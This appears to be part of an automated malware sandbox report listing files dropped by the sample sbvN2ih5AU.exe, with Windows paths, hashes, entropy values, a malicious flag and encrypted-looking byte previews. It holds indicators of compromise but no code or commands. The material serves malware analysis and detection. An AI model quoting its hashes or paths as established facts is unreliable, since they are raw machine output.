SSDEEP:	192:FqcgN69SwxIQLZM+/vuPCkjxbYyywgQE1ntabAGN:Fz0KIQpUCcxUhlmAGN
MD5:	D160B57E7D4C0621737FCAA2C050EEAF
SHA1:	EA9DA73575614F11B5C199BA0C6ABB5A122D34D7
SHA-256:	28E05B42E1939425B98B83AB0C69593C95DE0E45C41423FEA05D039331C0BFE6
SHA-512:	8D24DFBA746E0B3B1BA22940F9B6AFE5D1A4F66ED5CB268737536BB45E1E032A56FF8E8C0C251E212F09AD3650EBA83C6D262B7E4209291BAAA972D8CE62DA8F
Malicious:	false
Preview:	regf..G.t..x.U...vC......weo.E..&.......6.\..H"lWFgv[..U.X.....E.......6..+gS....@...D!..g...5&OG......Z.A....-5.(..i~mIH....B.y...Ys....6..0.t.A]...k...1d\|...PE..yF..T0...e.....PH./.YvwU....b.\........I..6..W>b.k.]!..xdGY.)BM......1..`\1.u'..D.3J.b...g....KC..X.Wa.y<.....&...f,K.LA....GH5.......2..e....jTo..9.z...g.}u7........$f.Z...q.9f...V..` H.s9...H.i...+...1....='..GH...L...(......t.+....S.A.G..K....\|o....kG%B.j..=I.../...a..a0..-w+..F.j...8^...b.b.~...Q.....k.[....8D....g.V.F<.\|c...AX.1...6Fx........F.........%.YS.'..{{'..N....@..........g...uf..#...Ur...l..h.j.lS.Lvg.2...\|..-..Ko....0.............>v..o......L.'}..........f.].I$@D(.&..N...d....W............X&.n.....Eo....Uw...C..ns.yG.e\|....S........&...R..)...~..rE..pR.a.^../.2.hG^`...A9..f[M...6....6.....DR...d..NS....ZB..m...W.}O..C....c..YH.X#............6..ic.k..c...W.xK7mk>.._....Z.(%.;t\..).N.f$a.!".se..@.y.g.?.....g.j......W..FoQ'..k.P..vf3.s.5..H_{...nj.k.].-f.2.....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976832164570892
Encrypted:	false
SSDEEP:	192:DhRKOmCsHmDHt9S9G5fOnU1CCpxQJMrEd4PbEkEECDdWh+Yjai9:HtmrmDHt9lFAUjpZb5E0h7+i9
MD5:	BC83FFDD0BEA881DD36AA7387DFD22EB
SHA1:	FFED5E13A40ACD72A6372150F81097B847BB46C9
SHA-256:	DBF7778DD4F3A9CB6C119D16ADDAF93661726DE76475D193E0B35DFA84278024
SHA-512:	DA430F0555AED59AEAE409F3C4506E473D2AA74CA600C1143B50544D40132F516C3F4BC067F93790CAAF66B5386D23AEDFF4C23E8638C8BF9E19D7E3A538A698
Malicious:	false
Preview:	regf..........?.....-@.B.vb..............6...L..I.Z.K-$q...5.s_#.:G....... b.'.J..{y....C<....8.oqg"...8......J.]..t.Ll...\..#.t.R...O......v#.Hv....s)7.Z.Y.....q)..~...%...u.O....s>@..Q..d..t.....-..S..U4.6>.7...5.j.H....K{-`r...@....m.u....J.../.+.q9N.Gi....B. ...b.l<.k...7..}.xF4:...^....v.Z..e.]#.q4.d3....F ...f.?O....@.....R..t.....?...x..3.)..W{6.Qx..\|..........Z....9k..o..[...".Q.........s)......th...k......`..p..n>R{......_.HL.g..%`.xccf#...g..W..+.#s...%.-....s..N..AJ....c....[('.).........5.Tx.0...........R..+{.&.J/.H.1..lO.2.=..f.O..G..R.!a.........`[s"...~.3..Z..0K...?2.%...-4...>..a..R[.9....9..E.4._Q..>..2....~......N<c.d...<Q=.T......[]...46.4.n.q.N..P../.....{....0G...g..X...oZg.8..........1d...j4L...aS...V.B...k.r..O...9V.Ab.@D.,/> ..<O.........>7\rf.Y...B.=.Ib[.........0.jQR4..C.....)....s ..g.....Im.f...).=...p;.F.f....>k.........o&.\.Rc.1c...?.].vS..5....0-.eA.......ZN..yc...Mf...{...&...v.......3.5...4L[.@.!.....1..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977300277325636
Encrypted:	false
SSDEEP:	192:JL8vYM/XERMVUftAZhYCJfBZYYe7DmUU2VlA7txi:qvYMCMVqtA0KBpenDbVQri
MD5:	CECDD91504DF946B250CAE26D5F27C0D
SHA1:	7460C837C7F458D58256208D96324E739C4B21ED
SHA-256:	AADDBEB250118281395D4C58BFA42BD3CA59C5C648FF47D177EC7B0A5F9C116C
SHA-512:	A4D3A86602AE8521AA703DBBE94813AD3DFF48824E403882FF148ADB7E80A71A5CFD6441BEC0A9DA94B0A4F7C4C08334C57C15A44CBEAFC6EFC6817E3A8BD1CF
Malicious:	false
Preview:	regf..J..;...Gv.[..^H.PV.'b.]P.....j.l?.O.z...'.....T.....".K..rm.\|mO.....\..:.[.!..P.qY..k.....9of..V!.....Z.;t..>>....u.}..ws..[poh......d..& ..vM..v..G#..O.G.e.S._. u....=a........W..yi...v. ..W...8..;...r.R...9.U.@.Vn...B........X_.4...}..7.[OS?w...>..+#.(..{K%.'.v............Q.a9....Um...CC{..9l...R..........?..R;.s...c...(..h@.Z.,..k^.Hk..D....=..^.}.=.:.....n}..W3.g....oT....W..u.O...Z...2......S.../&...G....#...j...~./. ..z#..Q.P.....}j...{....{..^...3.L.....h........({.......^...Q.hod.6..D<.....%.....y.8.{.B.....7J..\.`s."..).{..`"2..Y..m..ON..u......>...0.N..:..=..Cj.._ZbHa...)TO5['JV.GAE.%a&...............<....]]yJUs'.Q#.....g)......d....k9...!.H.S..#O..=....1^_S8..\|..Md.=@T.)...l.8....^....}B7_R....l....~.D~;..N{.... ..'...O-..v2Q..[4...J...^Cxa&..?........G.'d{.#j....Z.z...*I....y...'.[W.......#.$...y.K:<..%$.(...,...s.U.M6..Lr.hL..Q:..<.Z...'.o.Biz........L.G.w.=..'/.\........X...[l..a..7..\|9.Y.@vD...Pd..>.....:.Q...k.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3304960526074878
Encrypted:	false
SSDEEP:	3072:wSz8x4pXHE1V5Lm2Tef+hBnUCM9dQ8JmbFVEhEYSs42MaJ0aS:wSzXMZa+bnUt7Q4UFVww
MD5:	2F4A41CBB2C799473F9DD31F33F24307
SHA1:	8540749AE5B2FBDF11A47A0DCC5AB79ED3167664
SHA-256:	AD47F7F1D524CA6D73FDF2BEB71F63FF87206F75DE6B74B78F1EFBE8450120E7
SHA-512:	378CB2B2BDC6738B5F7069F8B99B3514813ACDB34BA522958CFCAC852ACD94BB3081F843195D1455ABD69110AAA1D3ECF621F18F5CB8708ACF6E890893F695B2
Malicious:	false
Preview:	..4t.z..2>(..Qt.bWN..)..Zi.I.>......g.a..q.-.'H..48..f...i...1..^f.Q..C.eC/.w5.O..T.......A.n..A..V.^~O....]W.........._x..C...#.,...f7.Q...4...k......M..^.r.r...y...0.%....o.\|....f.z...Q.{s.o.....%NN.<......:...K...D. ........V..U..C.Y.w..![...-4.9..-...H..I../d.X...>.B......2.Y.9/.^....?....U{...._.....3_XK..Z....z.........I.#...5..9.}.....@f4.F..Va-{......]...%#k.HP_.....16.s.4a.....]5f..\|.[.6.\~.]i..3mjY....3.........c{....4....Db..KL!.Smc..._.....'^.+..x.kq..,.>......k..?da5n>...@...C.e.U..b..:.....B....3......h.p.'.6./........c.r.X?U.2.K..;.v..s.d6S.[..B.vz.f.0.zH.B.+..o.k[..IG%..~.-duK..fD.`.....t...u.g..g.Yy...e.y}.b.K...cbp.....r.(.hK...e.Qw[.f..6:/..V...?.l..1..].\|q..e3.......{+...^..0`.1...w.U4}.b..gt..9......F........Z....E&....h I.7......J..\|Q.../.5..o.......S/....oI-..^9.$h...F0.C..&@..../O...!..-pJHr;.....X...Z.X....n.J..?.p....+..m/..^G..j?.>.>.....i. ..L...Wk..S]....G...x.Ig\|E8q8.".m..^s..n.2..X..IM.gL..PU

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.99052994059644
Encrypted:	true
SSDEEP:	384:jyhIzhpRjQ3uERphzVoO59tIaW+UvsJO/REFw56BwGRqX8u:j+IzhpszV59ax+U9/Reyc1Rqz
MD5:	5AE1A1A89938A403677169321F10A5E1
SHA1:	C4397A3DAD31FF2ED4831712F00DBE861EC92682
SHA-256:	B4211C6C85DBCBD923BB3336DDAF15F240FA614A1A2050AB132C34B758AFB77A
SHA-512:	B0F2E04A308D75E0B4E766FC368E31DA968ED2B44223C57232662C5729EE1A99CC4B51D706C76BE0CDF37EB7377D79691BC0601EC5C0430BBC5AB1E858794D3E
Malicious:	true
Preview:	..}.......D.%...+..poS(Z.....$.g.......'y\|......}s :>O.g.2...x...C.C....$_ET..iD...;..1.!.3.B...:.6.&.8..O>.u#...b.....\|^..Tl7.2.B..6...../BDI@2."......_+.;..C8$...+8/..6..kr.S..[..]..0.Gg'...E?b..4h..i ..C. "...{....X`...(..=...-...V_fm...}&Z>1e)......dY.....'H.;.E....,...F.T.YOE.&...)..!!..o<..&.EZ.%M....W.....J9......-.n8...=...&.......[wqU.5..f"...G......rC.....v..Atlu4..]n..\|@.FYvM7.-....s_..2.>.kc...;{....+=xe...Q.P._.j..\.I.=PX.!...3....]h......{.0..7...q./.Ah....{.$......n........27..O....f...^f.7.Y l....vyd..@`.....U..j.;..'G.7..`.......m..d...R...J"........'.,..\.....v../....(...%.7.w)^..sM....@/..4.k.D........V..(.x.f..1.S..(].LY;..r.........{....q...3..v.. .u...J.o.VEt!..S.....1,...)C....ID.:.$..v..F..:...\|\|...$......x.S.wO.+.&.t.FN....s........8..<...z.....t.....r..../......_v..\|.ak%.4-..........DK%,..t+....C..,.......8.y.p...~..\|......P&..........G....S..ns...7v.U.......o9..FN"..i..2.^...SB.G.0..~....^...cR...7...4.....q....9v

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.87777056668159
Encrypted:	false
SSDEEP:	24:v+ez3yWMubXtGSfUl/voftLFU09hY3VTJTiZ0XgSvd7V+Z7ovOeDNhjA42bD:mki7eXtYq9u0fY3VTVDwgIZ7oV5wD
MD5:	2DDDB83093176E72BED9C38AC0F0DC48
SHA1:	3777DB17F67784F1007466878ECC13ECDAA151D3
SHA-256:	B738CFEEA49539992F7A6ACBE4A7E8CE44C868B45185F192D25B10E02571F6E1
SHA-512:	FF630C974A0EF15442F3FA73DDE3505DE0CC06CEB7BFA620B358512A682043382B16672F02D27FA70D7EBD42998F8A0FCB3A31355E356FE82CBCCE11994BBDF1
Malicious:	false
Preview:	h.t.t7.(..T..`.&....w.].7...r....3L{T.>Wu...S.X.....D..V.@.....j...W(~7...~....7.=G..P.vh..^...=.$A..-.VQj.fa...#~..(.<)qP..z..0f.......k6Q..~.[Rt.;..rS..rDm.uoW...cp$w[J..0......A.&7...{...E.(L.I.o.......b.a........X./.....@.>j.hf.S....a.7B&}O<..z...w....9.4E..l.;~Y#.a.....p.Rs{;....8.S.N..-}>.....w..4=...B%.+i....}.3=5.K....,...3.T..l$Zn....J.8.!b..1...7.U.S2.9b..l..x.k[f...1..H..9....Z_.JG..Q.......2....GO.j.Vb..3Fx!.@.....C\|p..!.8...(..sw.5...6..Q.M.....4...g.....sH%;.Ic.cl.7......Pf......1}.3!...(...g/..O+/..U.M5.j......9..#K........wf..jr.W...F.).X,.....A..M...?3.:/.:e.`w.......y4....s.X...\|\.....cw.e.-<.q.....},.'.. \|.F.l.S...(/....#A.......v.k.99J$o-.C^x<.....>.c....U..S..wz..<.w~/..H.hh..;.M`.....a..J8^E<..{.d..[.....s.^.myk.....8..t.z.NG..D..9......58..C9.......3....RB....y...==.c.i.y.2h....../..OX..\.t.$!..;...O-...c..cp}..B.D...j..-..\\l.e{...j..ES.......W.b.<."...J.zI.V.D.@.j.M..M....]...&..N...T..e..).x.T:. .Gg.P.I@,...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.79450840013659
Encrypted:	false
SSDEEP:	24:fsc2Z3vzIG+Gxh5/DtQ4xTp+yUPa3qNdwkXu9dAM2bD:cv31Hxe4T+yUPpd4TAfD
MD5:	88BBDE34CA0439D43CE7EFCAB846D001
SHA1:	2C8B40DAE8435606598E2F4B855F8EE342798FD1
SHA-256:	90F017A1C6C4CEFB359D74803BF44AA01DE383BBA412C41935A83424F4AED4F7
SHA-512:	EEE68A3F7171792182668100F8AC53C3E78F1FE63497AEB50B058BE0840221E7B9796556186DDC67C1FB2E8D62656BEC5F26DC198D158DAB0790D98B6649EFED
Malicious:	false
Preview:	.....CL{..F..b}x.~..$...v:..x`/..zw.-......=.....u1..Qwm.....0..v...D.K;'.i...[...L@.f..X..j?(..s$/z..$$....j...7........bR....j...R....a....F.x..b.x..\.R.a:.J.....D...d8....lI..s..]O}.!. S..l[..77!dR{Y..b.c.{.\|....BD<a...h...[..Qj.0....T..[.&....yq.4....K.T...3....t.S...O.9...!P...;..0..{.5.N+^.M..P%L..........\..V.....l..a..$........\"%..mC+.m;..$...R..-I.w..m.[.[....fB.r.V.4.<6.@-q?.$\|....6RYV..i.uo.......g?.,..{z...}Yw..../Y..j.).....i&...\S...w'..~....o,.1..Y........?..s?..T.8K......CajCS.^....F.nZ./...N..."_.#.`YjN1.o..s.VeG..jG.##. .....b....n8D...<......N=>O...A!....x."....B..:.........\|.u.u.K{.&DU.Q..n.O...S<}.13<.i...O.Q?.Y.H.G.E.=t6CQ.n...i....U...xX#.F..@2....W.....C(....V.SKcS`l....P.YjA...c......a+...t&..:.?.0=...l..z%P.N..]I=....@q3.h.1,.V...".J.GZ..8y.Z...o..E....d....j0...E!LU....\..P...h.?.n@n.J&8\|...Q7..+s..C..L...._v.Z..u./.%..J.K.B...r..I..R.6.x..}.W...c.f.}...i..........~....`.^....vE.!..0.....&.x......y.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\TokenBroker\Cache\e71e1300703d5395820e448840a760f0dd25ad50.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	7.93311592697522
Encrypted:	false
SSDEEP:	48:VlcLKZSdOdp99rp/r6LjGbUyHE975Kks1ioZ1fY9JboHc3Zoy85Vjffp4D:VlF6ip99rp/1Qyk5KrZh+uc3Zbq5q
MD5:	729EDD55C1AA19F55A7F3E26DC658002
SHA1:	60CA2A2E1B99CBC704552DDEC0CCA1F2587E095D
SHA-256:	F257EEDB7D5CD0E0583B92C26DDC2C268ADD4C6F59942EF5C68A268CF9203CBE
SHA-512:	A06DD012D4E2DC2466C62075E1766D8CBF0BAD38C4EE7BDF9ABB931851ABA4565C4116C746772DEA451611A2028E5256067D634BAE993574E1940644FF6386F4
Malicious:	false
Preview:	{.".T..zMZ....<...1.o..u.rh......;..5.Rb.%.R..a..e.l.l....b....-...KXJ...[.....@."p..k..4..qH...`.6;..~....{(./..[......C._d..H .... ....A....3O.[..U....z_........[Y{..y."..].k.0....ma..!C..b.d......<~...2....:W....cA.Xf.~F\|..Q....Y%5.`....;#..Ahl.........k.UK..`..,.p.W;>[...bl...7.....f..E.(..[E.(..6.,.{\+FI..L..G...3~&Hxf.{.1R...k.%?........f^h.=..!..Dj...+..vZ.~Y}T[~...........-....W.......m E...\.x.a......5>.x..En+.]c>4.&.<...m.o..q.(...}P7k..h.....&.A.d...!..-d.u....Q.".[..8.b5....u...]..&_.^.^.9..r.y..-..ob..MH...fp.....3Wz.........7.r.....+......'.....K.W..Z.t.Y..[.l.+....cL\.W.....)......o.H..]1.Z.x..0.4.P%. .M....y!:c...c~.r....?\|N;.~P]W....L.j..S...g.....`..y..p.".......S }=>A.B...I...7.U.............AhB..o/#Zmc...)4..._.`;5G.....h...Yx..P..V.2e.&Y.k....\|.....?J..U.(...;Ld....e..B.`..h.i.{..+..r.{.y.C..8...'.#\.k............E.C.>..o.....Yb...7....W....a.7g......nA.......l+5. .Ds..W.........N.......k..F..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.947482786594841
Encrypted:	false
SSDEEP:	48:tV90amZeyIyakLIyGxic3+6egW7dYvBan7eS/0IaSHm86+thOYzP9RYTavYlrUbG:tAa+eyIyaRJ3+/L7Sa7sd8He+nfYlIbG
MD5:	45D2E8CB8C5F5B54671F1AA02A342F3B
SHA1:	42A6C216FB93C19005FAA2C21571BF0DBF61153A
SHA-256:	0A41CEAAD9A09867A3ECBF014CEF24CFBC5D4DBB3DCE27F6D1FB566D798D4328
SHA-512:	F0C806E2415D2BEFE6C771B8D09A65984176A73980E945A6F4F2B5A1C7A3A4D46F7B29428096761B5977A3C44487C3EE974BB388FFF3D9E8055E6D589620DAF4
Malicious:	false
Preview:	{.".T.!...rq/....VwrS...a."..C...lbE...oo...+...a. .]j.4x.e...I~.h.K.L..l..Nq.....1...Z.....%.Y<..x..G?d.)H....~...x+y.no_..'DK!..IS.`..w....".3/Wp.!.j...`..Wa..\|.<.l$.Y...y=B[..x...2..DN......,Wy..;j.[=...9......{.C...H=.)..K\D?E...8Y..R..+..+...b.).;.ff.FC.M..=.J.c.......H.....=p'./...!8N...;.J.8.6&u.........Y9..[......F4.........5..J.....[..W.....a..=.=T.\|.Z.=.<....d...4h.\<A........+../.X-v.....Y..!.V{8..og....i \F...Q.(.....{H.p.%$r.B....] ..c......,..uT}.&.D.q.#.....0.C.....c...+...E`O.l.q.So......I^......#...=...c.u.Y.6d,.2..B....yJ...N .....\|..^~Z.N%.....U.Y....K....D...n.4.;.9.6...a.A...(z...m.3...c.e.Lb\Lp.Ig....\.[...z....}.....O.K4..xh..v6.U.........7....._..A\_7U.v.".]..#l(1A.".G...:..G:.#X..'Z.Z.[........ZoK.6...h.Y^J.....A..t.....................S%.g.rg.....I.>t..H.]..d.n.,...r...+1.BL...^o....1.LlI..f.....@..@....:!.d.VS..r.."r.G.y/T\|n..e..a...e..K..F.......`. KO.....u....&o).Z...>tu..3.....+V..h...R........X.@...!.(..$

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9231803667061955
Encrypted:	false
SSDEEP:	48:d9n1bdQLgIs5oK/9J+7GRHxl+tNtx3cLW6jhPVuD:d9hdOfsfe6xY5x3wW61PVW
MD5:	C259C42CCA376B14E70396D58F1BD407
SHA1:	85E335837FAD4DB082DC2D9B2A28C7C0A87AF0CF
SHA-256:	F470518617200EF32F1364CF90A6C1A63D1831235C57BBB8A5E896BE73FB0114
SHA-512:	80A29B3EC70287141DB801CAB6E1B285D52386F0CDAB683128DF70E9C45BFC44C02296DDA0EA8F6068F0C17E1FD2E3191ABBA4E80D8D299159716C14F1FFA580
Malicious:	false
Preview:	{.".T.Sn:.....5.....<..u...Q6m).+.Q.........H#.E.\|.G.c..bO.....T.q .\.M.....cX...3W..9..Q..W<!..Q5.t.2`.lj.s....(..R.k..P.uh..O#...Z.:...0....^s...8.MMr[...fV(.\.U./.......3.B........{.4..2....{(.2%..0.{..C.......-E!4..F..zB.?.E.T...}..K..0e=..i..P....a.(...4.#6.{}.....;kV\|....!..u.33Qvqm.kAdU6ZE$cG..>..xI...f.JkE.JrF@..9.H6/.......\;........u.5..~B.......fd......7k.......8R....\..9.U..N3..N...........#.$.C.q..R..Ao$.xd............'2.Ha6.....M.O.......r.....h...?.lH....c.n..E.G&B...B..S...a.T..o..@.....p...<.3o...J....."..y8:\A.~5,..T...u...D...d.....;[=...{n.....GH....9M.[(e. .G..H..R.tC.k...H..P....R1.b.......,.n..;.I@..j...Mf..;...9.+..z.A`..T Z.....G.U...aD.Q.l.uJ...u.GN#..<.TV.Rk}B-....\.49..L....0..P.eY.U..2.^T....Hy....zO1....s..........v._..j].=.a.+..h...\|={..a."C..%..C..2.).....x..${.Nv...86(E0.y2/3..V.K..#:.4.5D.s.8X...h..\|...B&.v..5...-^&.x).}>. .\c.s...xW/n.E..u......'......#.D.e!r%./......Y....ml..dB.:..~...&...wcq.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3193128796788536
Encrypted:	false
SSDEEP:	3072:tQkdyJwEK9D8zp8/9XdxRnWay2NHNMz7vGHXwgGmfyg3YogkYvraPaf:ddyINkMXdxRnWdgoWjfz3Ywi
MD5:	2FDFB14EA40ED0B1DB5AA87DC97BAB30
SHA1:	CF75DE830A086F4908996E949C405BCCEEE7A0E3
SHA-256:	F863C0E796B176EA1005E77E3067B7FCE1628A4619E623E0A5A68411A260B767
SHA-512:	9F3ED2AC2EA961CB65F04DC5E01AADD5B5979131B07AFF7FD1ADCE5DBB3C44DF849A3820415C00A9653F14BAC3FCC63C6B29319662858BE191C3C9853F484D06
Malicious:	false
Preview:	./....A......-l...d.,r..P...~..>......k@#)..=p.ad.....v-....I.0U&..J..X0.$X.gn6....b)_.wZ.>..>...w.26G.)7B.ER.H0.I.M....2..<....}...........+...hcO.!.i7...__~s..?2@N.......`].r.q....{...".%...H...i.1.....B._..w..d.I.........d%....C].._.....X...2.m..}...E.?.....g..I....SW...VC..sT.......=....u....8<.@N....I.BLA;.J...N!......o.....kBt..ft'.;N..q.tqt..T.......?:.A.F)...............bnJ../..C..?J~&.m2......8v@!.........".K...].^M..^..._.%.O...gV..M.....Ag....V...Pt?.Z`....fX...Hv=t..:V...7x..Sp......Ue.......TA..>J..=.E.3....R..W.s...[?....l?K..=..vy.....&..!.f.z.=....8.}...f=7x'<......b..,VKl...R.+..!...4.-.S.....i.E.F.......=.....x.L.0j...g.d.O..a.\%....[.}....8.....>..5XO..c....C..Og.5Q;Y.p..%..A.&k..+. .........>1.&.x ,..J....9....z.W\|.)'.^./..uSd..g.X..i.:..>..eM.]......7\|.a.=...6...l....L....+...1.uso..-..cj.Ho....@.......u..6.-k.7:J_)...[...u.'..N.o..R.T.F...ZG. ..L% sG{.Qd....>\|.CcMx.aIrR...q.!.h.....$G..zU..-..62.D....D]

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988960943417765
Encrypted:	false
SSDEEP:	384:GKbe0cme/t7YIflZCx47KQk6Y4r8oU+ALh2H:fcXl7YIdZCQ1k6Y4IhC
MD5:	D8FF922B6FC5109A5C46B14648CE2308
SHA1:	888ED024F94E5716E266E0096CEEEA1547110823
SHA-256:	A8D727D3394E983CC658D9F33F29DD3DCE57644230D4C877CA8713355F1DC20C
SHA-512:	1D1DF15F03E2E952C5A14C6F51C6E54AB1C0D063059AAD5DF9AD0BC51DC3F91F923436E567E4212B71FEE4804AC00FCB867615560AF54BEDCC0D70957151C903
Malicious:	false
Preview:	@.v..........&......Ib.V..W;.ch.....;..J.(...U,z..jk`M..7.......m..9..Y...~...o.....aB=....l.:.d.$y+.MA.0...........F:...qh.J2...m......?.T....Sv.......{$.7..i....."....3H..k.a.0.1atd^^.d....\|.9....-.@..P...H<"..b.=.......u...T.kAv..n..n.s../\........U.+.!.].Y..\|.o KK.......}\.....u....gS..5..X0.r.....e...6.1m#9...%=.8.6....-..E".%%=..r..J.+..Fr..W~..FV.{6....M...OL<.._X.:%....d...d.O.1qMq@..`......o.-.[.&.1........^.BG.n...Qv..J..&K.N......i.C!..5T..q.TJ..8....(k..........=.N......~Ewq.....E...........%>..!M...9...Y.1.s.[.T.SxhE....D..k>D.M.u:........+.a...+..L..P...S6...w.u..h.s>J.Lu...^5v..V4.[...)o...m.&. }(.9.Z5..<..Y...>...D.$x.(.....b...P...hUb..v....\.CUk..R"..s.h.$j.....1]7A.=@6...y`.qc@.V..M{`M.W.F'D....r..R...@.i...+...?s.....N.......l_D."..d.A..Qd.t\|.+......l...K........=.+4..T.y.LmQ?owRz.!.....`....UC.....j..U.T...T.W".N.H....t..c{na..D.l.l.{{.L....^,%C... .5...s`1..P...M. ..v.6P...@.I...v'.J.n.....d......~.G...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.1132175391298889
Encrypted:	false
SSDEEP:	3072:tQFr7iz/qcW/51YoIdXbu/23dYggdQ2Up6G5BiMsA4SDw9faxDfax7P:tor7izqfLlQLoGYgOUFiMx4F9esP
MD5:	4204BB6EFDA4A500508CC2D883ACA702
SHA1:	AFF5642D5FBE2883D44B71C0859D6D51647DA3D8
SHA-256:	657036923FFE048A67416D759287CDEDEBCFFAB765E3CB80100AD59FE1B2855F
SHA-512:	3BD0D4E3569BA6BBE5CB3CD3477D716A69B1EF5893D06340C89626A22F8BECBA4D242598BA74B7CDD9107489CACF77FCC23AA674ACEC351C55638BE5A788D8CB
Malicious:	false
Preview:	.........\W.3.)..^T..B...~ ...B.......q.v.7....<..Y.:.mt:.3..S...3..f......H...{BQ..94.....N.~.r...2........7.}Q...2..".[V.(..].k.m..Dr.)..Fv...'........#....#..%ta~...[XK+:..`......[^.........oQ..1b......M."@hM..{......N.[...`...+.F.S q.&e2ADcE..4l, ..\.s`.X..~..$G...I....g........>}E.. .. V...X..u..I].....~..&[u`..V.x..L.Z.i......'`4...g_....VfO....q.FZ.J.`...V.>.W!..x.(7.~G.>.d.o.3.G........>..C$..Z......,2q.rK.=.8x2{0......"@(Q.7<`r#...o..H......g.._L..d.)E...h(..Y....H......'..,b4..+.x.^`...y.....c..,g........y....x.....X.j../...m....n Y.V.3..uc.H.......z...tC.J......-J ....;..!\|p.o.C;..._..6.${x.4..W..].Vd....z...^.T....GYS.NI...G..9T.q...:..?..Y.PJ.._WW.#x.}$~...=b....d.....n+...B.d..3...U.S....2..S.....P....OK.B>.G.;yX..r.......m.....d.m_.....6.A..W..I.U.L.Y.7..8Vy.Co#.....G82T...N..kp.^....~V........!I..a....9...b.K...m.p...N.....>.',#.!JE.u.q..6VR.......~.>._.b..s.Q..=G...t.J.........D...._Nm.cN.z....(..coC.bl....d.2

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.98988797198981
Encrypted:	false
SSDEEP:	384:KZQ8Q4j7IQPOWux1w8W9q27fzlphNAN3Et5AcE/UtDMyVP:CRQ4jv231w8+rbUNQ2cE/Utx
MD5:	561AA20421E3218138619475E379FD80
SHA1:	9C4E1C39B057FEF357EDBCADE05C33DAC07CD58A
SHA-256:	99D7BB99AEAD24D7A0EEA95D03EDADDF912163AAEF171295C67AC2DE8B24A5A0
SHA-512:	DB981CFF103EA494B9AEE7044A0B32CBF7B1D3106047F992C18172BB5A48C2BC255C2260D3311466BF3BE91562F0E7C6E5CD3F335D1B1BCCCFC737C249BB5220
Malicious:	false
